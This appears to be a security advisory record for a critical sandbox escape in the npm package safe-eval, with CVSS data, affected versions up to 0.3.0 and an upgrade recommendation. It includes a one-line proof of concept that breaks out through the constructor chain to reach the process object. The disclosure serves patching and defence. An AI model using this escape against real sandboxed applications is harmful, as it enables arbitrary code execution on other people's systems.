GHSA-ww6v-677g-p656

Suggest an improvement
Source
https://github.com/advisories/GHSA-ww6v-677g-p656
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-ww6v-677g-p656/GHSA-ww6v-677g-p656.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-ww6v-677g-p656
Aliases
Published
2018-07-18T18:28:10Z
Modified
2023-11-08T03:59:04.122594Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
Sandbox Breakout in safe-eval
Details

Affected versions of safe-eval are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.

Proof of Concept:

This code accesses the process object and calls .exit()

var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");

Recommendation

Update to version 0.4.0 or later

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-610"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:01:17Z"
}
References

Affected packages

npm / safe-eval

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.3.0